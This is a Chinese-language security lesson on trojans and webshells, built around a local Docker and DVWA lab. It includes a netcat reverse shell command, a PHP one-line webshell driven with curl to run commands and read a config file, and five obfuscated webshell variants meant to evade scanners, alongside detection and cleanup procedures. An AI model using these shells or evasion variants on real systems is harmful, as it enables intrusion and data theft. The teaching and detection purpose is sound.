理解木马的七种伪装手段(捆绑、加壳、进程注入、反弹端口、DLL劫持、注册表持久化、Rootkit)和反弹 Shell 原理;掌握一句话木马的工作机制与检测方法;能够使用系统命令和专用工具检测可疑进程、网络连接和后门文件;使用 Docker 搭建靶场环境完成完整的攻防对抗实验。
外观
外观
约 6636 字大约 22 分钟
网络安全技术木马WebShell后门查杀
2026-05-17
本课核心
木马不像病毒那样"自我复制",它的核心能力是隐蔽通信和远程控制。攻击者通过木马在你的系统里开了一扇"后门"——它能浏览你的文件、记录你的键盘、控制你的摄像头,而你完全不知道。本课从木马的伪装手段和反弹端口原理出发,亲手部署真实靶机、植入后门、分析攻击流量,最终落到如何发现并清除系统中的后门。本课实战将使用 Docker 快速部署漏洞靶机,在真实环境中体会攻防对抗。
课堂红线
本课所有木马实验严格限制在本机 Docker 容器靶场环境中。一句话木马只部署在本机 Docker 容器内的 DVWA 靶场,所有连接只通过 127.0.0.1 和 Docker 内网。禁止行为: 向任何外部服务器上传 WebShell、对他人系统植入后门、使用真实木马样本、用 msfvenom 生成的 payload 攻击任何外部目标。
理解木马的七种伪装手段(捆绑、加壳、进程注入、反弹端口、DLL劫持、注册表持久化、Rootkit)和反弹 Shell 原理;掌握一句话木马的工作机制与检测方法;能够使用系统命令和专用工具检测可疑进程、网络连接和后门文件;使用 Docker 搭建靶场环境完成完整的攻防对抗实验。
实际使用 netstat、ss、ps、lsof、find、grep、rkhunter、chkrootkit、docker、nc(netcat)、tcpdump。通过 msfvenom 了解 payload 结构,使用 nc 建立反弹 Shell 理解后门通信原理。
提交木马攻防对抗报告,包含:反弹Shell流量抓包分析、系统进程排查记录、网络连接审计、WebShell检测结果、后门清理方案、靶机安全加固建议。
公元前 12 世纪,希腊联军围攻特洛伊城十年不下。最后,他们造了一只巨大的空心木马,里面藏了 30 名精兵,然后假装撤退。特洛伊人把木马当作战利品拖进城里。当晚,希腊士兵从木马中爬出,打开城门——特洛伊城陷落。
三千年后,"特洛伊木马"成了网络安全领域最危险的威胁之一。 原理完全相同:
一个看起来无害的程序(游戏、工具、文档),内部藏着恶意代码。当你运行它时,恶意代码悄悄打开一扇"后门"——攻击者从此可以自由进出你的系统。
| 特洛伊战争 | 网络世界 |
|---|---|
| 巨大的木马雕像 | 看似正常的软件/游戏/文档 |
| 藏在木马里的士兵 | 嵌入的恶意代码 |
| 特洛伊人把木马拖进城 | 用户下载并运行了带毒程序 |
| 夜晚打开城门 | 木马连接 C2 服务器,开放后门 |
| 希腊军队涌入 | 攻击者远程控制你的电脑 |
现实案例: 2019 年,一款名为"颜值检测"的 APP 在社交群中传播,宣称可以用 AI 分析用户的颜值。实际上,它是一款木马——安装后会窃取通讯录、短信、相册,并将数据上传到远程服务器。它利用的就是人性中最基本的欲望:好奇心。
勒索病毒攻击链动画
点击 "▶ 开始演示" 观看勒索病毒的完整攻击链。每一步都包含技术细节和检测方法。
很多同学分不清"病毒"和"木马"——它们确实经常一起出现,但本质完全不同:
| 对比维度 | 计算机病毒 | 特洛伊木马 |
|---|---|---|
| 核心能力 | 自我复制——能把自己拷贝到其他文件 | 伪装欺骗——假装成正常软件 |
| 传播方式 | 自动传播,不需要用户配合 | 需要用户主动下载/运行 |
| 类比 | 流感病毒——会传染给周围的人 | 卧底特工——伪装身份潜入 |
| 主要目的 | 破坏数据、占用资源 | 远程控制、窃取信息 |
| 典型行为 | 删除文件、加密数据、弹窗骚扰 | 记录键盘、截屏、上传文件、开后门 |
| 查杀难度 | 特征明显,杀毒软件容易检测 | 伪装成正常进程,难以发现 |
一句话记住: 病毒会"生小病毒"(复制),木马会"开小门"(后门)。
木马通信隧道演示
这是最"直接"的攻击方式:攻击者扫描到受害者开放的端口后,直接发起连接。但问题是——任何有基本安全配置的防火墙都会阻止外部发起的入站连接。就像陌生人不能随便进你的家门。
攻击者为了让木马不被发现,发展出了多种伪装手段:
把木马和正常软件捆绑在一起。你下载一个"游戏破解补丁",运行时游戏确实启动了——但木马也同时悄悄运行了。
正常程序.exe + 木马.exe = 捆绑后的程序.exe
(你能看到的) (你看不到的) (你以为只是一个文件)加壳(Packing)就是对木马程序进行压缩和加密,改变它的二进制特征。杀毒软件靠"特征码"识别病毒——加壳后的木马特征码完全不同,可以绕过特征检测。
| 常见加壳工具 | 作用 |
|---|---|
| UPX | 开源压缩壳,正常软件也在用 |
| ASPack | 商业压缩壳 |
| Themida | 强加密壳,反调试、反虚拟化 |
脱壳(Unpacking) 是安全分析师的逆向操作——把加壳程序还原成原始代码,分析它的真实行为。
木马不创建自己的进程,而是把恶意代码注入到一个正常系统进程中(如 explorer.exe、svchost.exe)。你在任务管理器中看到的是"正常进程",但它的内部已经混入了恶意代码。
这是最狡猾的技术。正常情况下,攻击者主动连接受害者——但受害者如果有防火墙,外部连接会被拦截。
反弹端口反过来: 木马从受害者电脑主动向外连接攻击者的 C2 服务器。防火墙的设计逻辑是"外面的不让进,里面的随便出"——反弹端口正好利用了这一点。
传统连接(被防火墙拦截):
攻击者 ──X──→ 受害者(防火墙阻止外部入站连接)
反弹端口(绕过防火墙):
受害者 ──→ 攻击者(防火墙允许内部出站连接)
然后在这条由受害者发起的连接上进行远程控制在开始正式实战之前,我们先做一个最简单的实验来理解"反弹 Shell"是什么。
场景: 攻击者(Kali)想控制受害者(靶机),但靶机有防火墙阻止入站连接。
::: step title="Step 1: 用 Docker 创建靶机"
# 拉取一个带 netcat 的轻量靶机镜像
docker run -d --name target-victim \
--network host \
alpine:latest \
sleep infinity
# 验证靶机运行
docker ps | grep target-victim真实输出:
abc123def456 alpine:latest "sleep infinity" 5 seconds ago Up 5 seconds target-victim命令解释: docker run -d 在后台运行容器,--name target-victim 给容器取名,--network host 使用宿主机网络(方便通信),alpine:latest 使用轻量级 Alpine Linux 镜像,sleep infinity 让容器保持运行。 :::
::: step title="Step 2: 在 Kali 上开启监听(攻击者等待连接)"
# 攻击者在本地 4444 端口开启监听
nc -lvnp 4444真实输出:
listening on [any] 4444 ...命令解释: nc 是 Netcat——网络工具中的"瑞士军刀"。-l 表示监听模式(listen),-v 显示详细信息(verbose),-n 不解析 DNS(numeric-only),-p 4444 指定监听 4444 端口。攻击者现在像一只蜘蛛,在 4444 端口织好了网,等待猎物主动连接。 :::
::: step title="Step 3: 从靶机发起反弹 Shell(受害者主动连接)" 打开另一个终端:
# 进入靶机容器
docker exec -it target-victim sh
# 靶机安装 netcat(Alpine 用 apk)
apk add --no-cache netcat-openbsd
# 关键一步:靶机主动连接攻击者的 4444 端口,并把自己的 /bin/sh 绑定到这个连接上
nc 127.0.0.1 4444 -e /bin/sh命令解释: nc 127.0.0.1 4444 -e /bin/sh 的含义是"连接到 127.0.0.1 的 4444 端口,然后把这个连接的另一端绑到 /bin/sh(Shell)上"。这就是反弹 Shell 的本质:受害者主动向攻击者发起连接,然后把自己的 Shell 控制权交给攻击者。 :::
::: step title="Step 4: 攻击者获得 Shell 控制权" 回到第一个终端(攻击者的 nc 监听端),你会发现自己已经进入了靶机的 Shell!试着输入命令:
# 在 nc 监听端输入(此时你已经是靶机的 Shell 了)
whoami
hostname
id
ls -la /真实输出:
root
a1b2c3d4e5f6
uid=0(root) gid=0(root) groups=0(root)
total 64
drwxr-xr-x 1 root root 4096 May 17 08:00 .
drwxr-xr-x 1 root root 4096 May 17 08:00 ..
drwxr-xr-x 2 root root 4096 May 17 08:00 bin
drwxr-xr-x 5 root root 4096 May 17 08:00 dev
drwxr-xr-x 1 root root 4096 May 17 08:00 etc
...关键发现: 攻击者现在可以以 root 身份在靶机上执行任意命令——查看文件、安装软件、下载恶意程序——而这一切都源于靶机主动发起的那一次连接。 :::
为什么叫"反弹"? 因为正常情况下服务器(靶机)是"被动等待连接"的一方,而在这个场景里角色反转了——靶机主动连接攻击者,把 Shell "反弹"给了攻击方。防火墙看到的是靶机在"主动上网",自然不会拦截。
思考题
如果把 -e /bin/sh 换成 -e /bin/bash 有什么区别?如果靶机用的是 Windows,应该如何反弹 Shell?
一句话木马(WebShell)是最短的、能执行系统命令的后门代码。它通常只有一行,通过 HTTP 请求传递要执行的命令。
一句话木马执行流程演示
system('whoami');<?php @eval($_POST['cmd']); ?>
等待攻击者发送命令...
PHP 一句话木马(最简形式):
<?php @eval($_POST['cmd']); ?>这行代码做了什么?
| 代码片段 | 作用 |
|---|---|
<?php ... ?> | PHP 代码的开始和结束标记 |
$_POST['cmd'] | 从 HTTP POST 请求中取出名为 cmd 的参数值 |
eval(...) | 把字符串当作 PHP 代码执行——危险的核心 |
@ | 抑制错误信息,让木马更隐蔽 |
当你用黑客工具(如蚁剑、冰蝎)连接这个木马时:
http://目标/webshell.php 发送 POST 请求cmd=system('whoami')eval("system('whoami')")whoami 命令并返回结果本质就是:攻击者通过一个 HTTP 请求,让服务器执行任意的系统命令。
安全边界
以下操作仅在 DVWA Docker 容器内执行。靶机通过 docker-compose 部署,只监听 127.0.0.1。WebShell 文件在实验结束后必须立即删除。
::: step title="Step 1: 确认 DVWA 靶场就绪"
# 检查 DVWA 容器是否运行
docker ps --filter "name=dvwa"
# 如果没有运行,启动 DVWA
cd /path/to/dvwa-docker
docker-compose up -d
# 确认 Web 服务可访问
curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:8080真实输出:
CONTAINER ID IMAGE STATUS PORTS NAMES
f7a8b9c0d1e2 vulnerables/web-dvwa Up 2 hours 0.0.0.0:8080->80/tcp dvwa
200命令解释: docker ps 列出运行中的容器。curl 测试 HTTP 连接——-s 静默模式不显示进度,-o /dev/null 丢弃响应体,-w "%{http_code}" 只输出 HTTP 状态码,200 表示 Web 服务正常。 :::
::: step title="Step 2: 进入容器,定位可写目录"
# 进入 DVWA 容器内部
docker exec -it dvwa bash
# 查看 Web 根目录结构
ls -la /var/www/html/真实输出:
total 100
drwxr-xr-x 1 root root 4096 May 17 08:00 .
drwxr-xr-x 1 root root 4096 May 17 08:00 ..
-rw-r--r-- 1 root root 5337 May 17 08:00 index.php
drwxr-xr-x 2 root root 4096 May 17 08:00 hackable
drwxr-xr-x 2 root root 4096 May 17 08:00 config
...关键发现: hackable 目录是 DVWA 专门用于练习的可写目录——攻击者如果通过其他漏洞获得了写入权限,就会把 WebShell 放在这里。 :::
::: step title="Step 3: 创建测试用的一句话木马"
# 在 DVWA 的 uploads 目录创建最简单的 PHP 一句话木马
echo '<?php @eval($_POST["cmd"]); ?>' > /var/www/html/hackable/uploads/test-shell.php
# 验证文件已成功创建
cat /var/www/html/hackable/uploads/test-shell.php
ls -la /var/www/html/hackable/uploads/test-shell.php真实输出:
<?php @eval($_POST["cmd"]); ?>
-rw-r--r-- 1 root root 30 May 17 08:05 /var/www/html/hackable/uploads/test-shell.php命令解释: echo '...' > file 将 PHP 代码写入文件,cat 查看文件内容确认写入成功。 :::
::: step title="Step 4: 用 curl 模拟攻击者连接 WebShell"
# 退出容器回到 Kali
exit
# 模拟攻击者通过一句话木马执行系统命令
curl -s -X POST \
--data "cmd=system('whoami');" \
http://127.0.0.1:8080/hackable/uploads/test-shell.php真实输出:
www-data输出解读:
www-data 是 Apache 的运行用户——攻击者现在能以这个用户的身份执行任何命令# 模拟攻击者查看服务器系统信息
curl -s -X POST \
--data "cmd=system('uname -a');" \
http://127.0.0.1:8080/hackable/uploads/test-shell.php输出解读: uname -a 返回了完整的系统信息——攻击者现在知道目标的系统版本、内核版本和架构,可以根据这些信息选择对应的提权漏洞。
# 模拟攻击者浏览 Web 目录
curl -s -X POST \
--data "cmd=system('ls -la /var/www/html/');" \
http://127.0.0.1:8080/hackable/uploads/test-shell.php
# 模拟攻击者读取数据库配置文件(获取数据库密码!)
curl -s -X POST \
--data "cmd=system('cat /var/www/html/config/config.inc.php');" \
http://127.0.0.1:8080/hackable/uploads/test-shell.php:::
::: step title="Step 5: 实验后清理"
# 立即删除测试 WebShell
docker exec dvwa rm /var/www/html/hackable/uploads/test-shell.php
# 确认已删除
docker exec dvwa ls /var/www/html/hackable/uploads/ | grep shell || echo "已清除"真实输出:
已清除:::
防守方如何发现自己服务器上被植入了 WebShell?以下是实用的检测命令:
::: step title="① 搜索包含危险函数的 PHP 文件"
# 在 Web 目录中搜索常见的一句话木马特征
docker exec dvwa find /var/www/html -name "*.php" -type f \
-exec grep -l -E '\beval\b|\bassert\b|\bsystem\b|\bexec\b|\bshell_exec\b|\bpassthru\b|\bpopen\b|\bproc_open\b' {} \;这个命令在做什么?
| 命令片段 | 作用 |
|---|---|
find /var/www/html -name "*.php" -type f | 查找 Web 目录下所有 PHP 文件 |
-exec grep -l ... {} \; | 对每个找到的文件执行 grep |
\beval\b | 搜索 eval 关键词(\b 表示单词边界,防止误匹配) |
-l | 只输出包含匹配的文件名(不输出具体内容) |
为什么 \b 很重要? 不加 \b 会把 evaluate、evaluation 这类正常单词也匹配进来,产生大量误报。 :::
::: step title="② 查找最近被修改过的 PHP 文件"
# 查找最近 7 天内修改过的 PHP 文件——WebShell 通常是最新被植入的
docker exec dvwa find /var/www/html -name "*.php" -mtime -7 -ls| 参数 | 作用 |
|---|---|
-mtime -7 | 最近 7 天内修改过(modified time < 7 days) |
-mtime 0 | 今天修改过的文件 |
-ls | 以 ls -l 格式显示详细信息(权限、大小、时间) |
| ::: |
::: step title="③ 检查异常文件权限"
# Web 目录下的 PHP 文件通常不需要可执行权限(它们由 PHP 解释器读取而非直接执行)
# 查找权限异常的 PHP 文件
docker exec dvwa find /var/www/html -name "*.php" -perm /111 -ls:::
::: step title="④ 文件完整性校验"
# Step 1: 在部署前先生成所有 PHP 文件的 MD5 哈希基准
docker exec dvwa bash -c "find /var/www/html -name '*.php' -type f -exec md5sum {} \; | sort" > /tmp/web-baseline.md5
# Step 2: 后续随时对比——任何变化都会被标记出来
docker exec dvwa bash -c "find /var/www/html -name '*.php' -type f -exec md5sum {} \; | sort" > /tmp/web-current.md5
diff /tmp/web-baseline.md5 /tmp/web-current.md5 | head -20
# 如果是新增的文件,baseline 中不存在,需要单独检查输出解读: diff 没有输出 = 所有文件的哈希值都与基线一致,没有文件被篡改。如果有输出,说明文件内容发生了改变——需要立即排查。 :::
后门检测交互实验室
检测到端口 4444 正在监听 127.0.0.1——这是 Metasploit meterpreter 的默认端口!进程PID 5678,名称为 "unknown",高度可疑。
基础的 eval($_POST['cmd']) 很容易被特征扫描发现。攻击者会使用各种变体来绕过检测:
// 变种1:使用 assert(PHP 5 有效)
<?php assert($_POST['cmd']); ?>
// 变种2:字符串拼接,绕过关键字扫描
<?php $a = 'ev'; $b = 'al'; $c = $a.$b; $c($_POST['cmd']); ?>
// 变种3:base64 解码后执行
<?php eval(base64_decode($_POST['cmd'])); ?>
// 变种4:使用 create_function
<?php $func = create_function('', $_POST['cmd']); $func(); ?>
// 变种5:回调函数
<?php call_user_func('assert', $_POST['cmd']); ?>对于防守方来说,不能只靠关键字匹配——还需要结合文件修改时间、文件所有权变更、异常网络连接等多维度信息进行综合判断。
当你怀疑一台 Linux 服务器被植入后门时,需要从多个维度进行排查。以下是完整的排查流程:
::: step title="① 检查所有监听端口——找"谁在等连接""
# 查看所有 TCP/UDP 监听端口及对应的进程
ss -tlnpu真实输出节选:
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=892,fd=3))
tcp LISTEN 0 128 0.0.0.0:8080 0.0.0.0:* users:(("docker-proxy",pid=1234,fd=4))
tcp LISTEN 0 128 127.0.0.1:4444 0.0.0.0:* users:(("unknown",pid=5678,fd=5))输出解读 & 排查方法:
0.0.0.0:22 → SSH 服务,进程 sshd——正常0.0.0.0:8080 → DVWA Web 服务,进程 docker-proxy——正常127.0.0.1:4444 → 异常! 监听在 127.0.0.1 的 4444 端口(Metasploit meterpreter 默认端口),进程名为 "unknown"——这就是典型的后门特征排查技巧:
0.0.0.0 监听的端口——它们对外网开放,危险度最高127.0.0.1 的端口也不可掉以轻心——它虽然不对外,但可能是反弹 Shell 的中转 :::::: step title="② 检查所有已建立的网络连接"
# 查看所有已建立的 TCP 连接
ss -tnp state established
# 更直观:用 lsof 查看哪些进程有活跃的网络连接
lsof -i -P -n 2>/dev/null | grep -E "ESTABLISHED|LISTEN"可疑连接的特征:
::: step title="③ 检查所有进程——找"谁不该在这里""
# 按 CPU 使用率排序查看所有进程
ps aux --sort=-%cpu | head -20
# 搜索名称可疑的进程
ps aux | grep -i -E "shell|backdoor|trojan|payload|meterpreter|nc|ncat"
# 查看进程树——可以看到父子进程关系
pstree -p | head -30
# 检查隐藏进程(比较 /proc 和 ps 输出的一致性)
ls /proc | grep -E '^[0-9]+$' | while read pid; do
if ! ps -p $pid > /dev/null 2>&1; then
echo "隐藏进程发现: PID $pid"
fi
done进程排查要点:
/tmp、/dev/shm)[...] 的通常是内核线程——正常。但普通进程伪装成这种形式就值得警惕 :::::: step title="④ 检查持久化机制——找"谁会随系统复活""
# 检查 systemd 服务中可疑的项目
systemctl list-units --type=service --state=running | grep -v "^●" | grep -v "loaded active"
# 检查 cron 定时任务(用户级和系统级)
crontab -l 2>/dev/null
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
crontab -u $user -l 2>/dev/null
done
# 检查系统级 cron
ls -la /etc/cron.* 2>/dev/null
cat /etc/crontab 2>/dev/null
# 检查 rc.local(传统自启动脚本)
cat /etc/rc.local 2>/dev/null
# 检查 bashrc/profile 中的可疑注入
grep -l -E "nc|bash -i|python -c|perl -e" /home/*/.bashrc /root/.bashrc /etc/profile /etc/bash.bashrc 2>/dev/null:::
::: step title="⑤ 检查被修改的系统文件"
# 查找最近 1 天内被修改过的系统关键目录下的文件
find /etc /bin /sbin /usr/bin /usr/sbin /lib -type f -mtime -1 -ls 2>/dev/null | head -20
# 检查 /etc/passwd 中 UID=0 的非 root 用户(权限后门)
awk -F: '($3 == 0 && $1 != "root") {print "可疑root权限用户: " $1}' /etc/passwd
# 检查 /etc/shadow 中无密码的用户
awk -F: '($2 == "" || $2 == "!" || $2 == "*") {print $1}' /etc/shadow | while read user; do
echo "无密码/锁定用户: $user"
done
# 检查 SUID 文件(可能有提权后门)
find / -perm -4000 -type f -ls 2>/dev/null | grep -v -E "/snap|/usr/lib" | head -20:::
① 安装并运行 rkhunter(Rootkit Hunter)
# 安装 rkhunter
sudo apt install -y rkhunter
# 更新 rkhunter 的特征数据库
sudo rkhunter --update
# 运行完整的系统检查(--skip-keypress 跳过交互确认)
sudo rkhunter --check --skip-keypress真实输出节选:
[ Rootkit Hunter version 1.4.6 ]
Checking system commands...
Performing 'known good' check...
/bin/bash [ OK ]
/bin/cat [ OK ]
/bin/chmod [ OK ]
/bin/chown [ OK ]
/bin/ls [ OK ]
/bin/ps [ OK ]
/usr/bin/find [ OK ]
...
Checking for rootkits...
Performing check of known rootkit files and directories
55808 Trojan - Variant A [ Not found ]
ADM Worm [ Not found ]
AjaKit Rootkit [ Not found ]
...
Checking the network...
Performing check for backdoor ports
Checking for UDP port 2001 [ Not found ]
Checking for TCP port 1524 [ Not found ]
Checking for TCP port 4444 [ WARNING! ]输出解读:
[ OK ] → 系统关键命令的哈希值正常——未被 Rootkit 替换(Rootkit 经常替换 ls、ps、netstat 等命令来隐藏自己的存在)[ Not found ] → 未检测到已知的 Rootkit 文件或目录[ WARNING! ] → 端口 4444 开放——Metasploit 默认端口,需要立即排查② 安装并运行 chkrootkit(双重验证)
# 安装 chkrootkit
sudo apt install -y chkrootkit
# 运行检查
sudo chkrootkit为什么要用两个工具?
rkhunter 和 chkrootkit 的特征库不完全重叠。一个工具没检测到不代表安全——两个都用,加大覆盖面。如果两个工具同时报警,那几乎可以确认系统已被入侵。
如果确认系统被植入后门,按以下步骤处理:
| 步骤 | 操作 | 具体命令 | 目的 |
|---|---|---|---|
| ① 断网隔离 | 拔网线 或 禁用网卡 | sudo ip link set eth0 down 或 sudo ifconfig eth0 down | 切断与 C2 服务器的通信 |
| ② 保留证据 | 保存进程、网络、文件快照 | ps aux > /tmp/forensics-ps.txt ; ss -tlnp > /tmp/forensics-ss.txt | 用于事后分析和溯源 |
| ③ 定位后门 | 锁定恶意进程和文件 | lsof -p PID 查看恶意进程打开的所有文件 | 确定"敌人在哪" |
| ④ 终止进程 | 杀死恶意进程 | sudo kill -9 PID 或 sudo systemctl stop 服务名 | 停止恶意活动 |
| ⑤ 清除持久化 | 清理所有自动启动机制 | 删除可疑 cron、systemd 服务、rc.local 条目 | 防止重启后复活 |
| ⑥ 删除文件 | 删除后门文件 | rm -f /path/to/backdoor ; 删除 WebShell | 清除载体 |
| ⑦ 修复系统 | 从干净备份恢复 | 替换被篡改的系统命令(ls、ps、netstat 等) | 修复被篡改的组件 |
| ⑧ 加固防御 | 打补丁、收紧权限 | apt update && apt upgrade ; 配置防火墙规则 | 防止再次入侵 |
| ⑨ 重装评估 | 判断是否需要重装 | 如果检测到 Rootkit 级入侵 → 重装系统 | Rootkit 很难彻底清除 |
重要提醒
如果确认是 Rootkit 级别的入侵,以上 ①-⑧ 步骤可能无法彻底清除。Rootkit 可以修改内核数据结构和系统调用,让你"看不到"恶意代码的存在。此时最安全的做法是格式化磁盘后重装系统,仅从干净的备份恢复数据文件(不恢复可执行文件和系统文件)。
| 验收项 | 标准 |
|---|---|
| 木马 vs 病毒 | 能说出核心区别:病毒自我复制,木马伪装+远程控制 |
| 七种伪装手段 | 能解释捆绑、加壳、进程注入、反弹端口、DLL劫持、注册表持久化、Rootkit 的原理 |
| 反弹 Shell 原理 | 能手动画图解释为什么"由内向外连"能绕过防火墙,并能在 nc 上复现 |
| 一句话木马 | 能写出 PHP 一句话木马代码,逐行解释每个部分的作用 |
| WebShell 检测 | 能使用 find+grep 搜索 Web 目录中的危险函数特征,并能解释如何减少误报 |
| 端口监听检查 | 能用 ss/lsof 查看所有监听端口并能区分正常和异常 |
| 进程排查 | 能用 ps + pstree 查看进程,识别可疑进程(隐藏进程、路径异常、父进程异常) |
| 后门清理 | 能说出清理后门的 9 个步骤及其目的,并知道什么情况下需要重装系统 |
| 安全意识 | 能解释为什么不能运行来路不明的程序,以及反弹端口为什么能绕过防火墙 |
webshell-scanner.sh,自动扫描指定目录下所有 PHP 文件,检查是否包含 eval、assert、system、exec、shell_exec、passthru、popen、proc_open、create_function、call_user_func 等危险函数,输出格式化的检测报告,并标注每个告警的风险等级(高/中/低)。ss -tlnpu、ps aux、find / -mtime -1、crontab -l)检查自己的 Kali 系统,列出所有监听端口、可疑进程和近期修改的系统文件,写一份完整的自查报告。如果上一节课的容器还在运行,可以用以下命令清理和重新部署:
# 查看所有运行中的容器
docker ps -a
# 停止并删除本课创建的测试容器
docker rm -f target-victim 2>/dev/null
# DVWA 容器保留(多节课共用),不要删除
# docker rm -f dvwa ← 除非需要完全重建,否则不要执行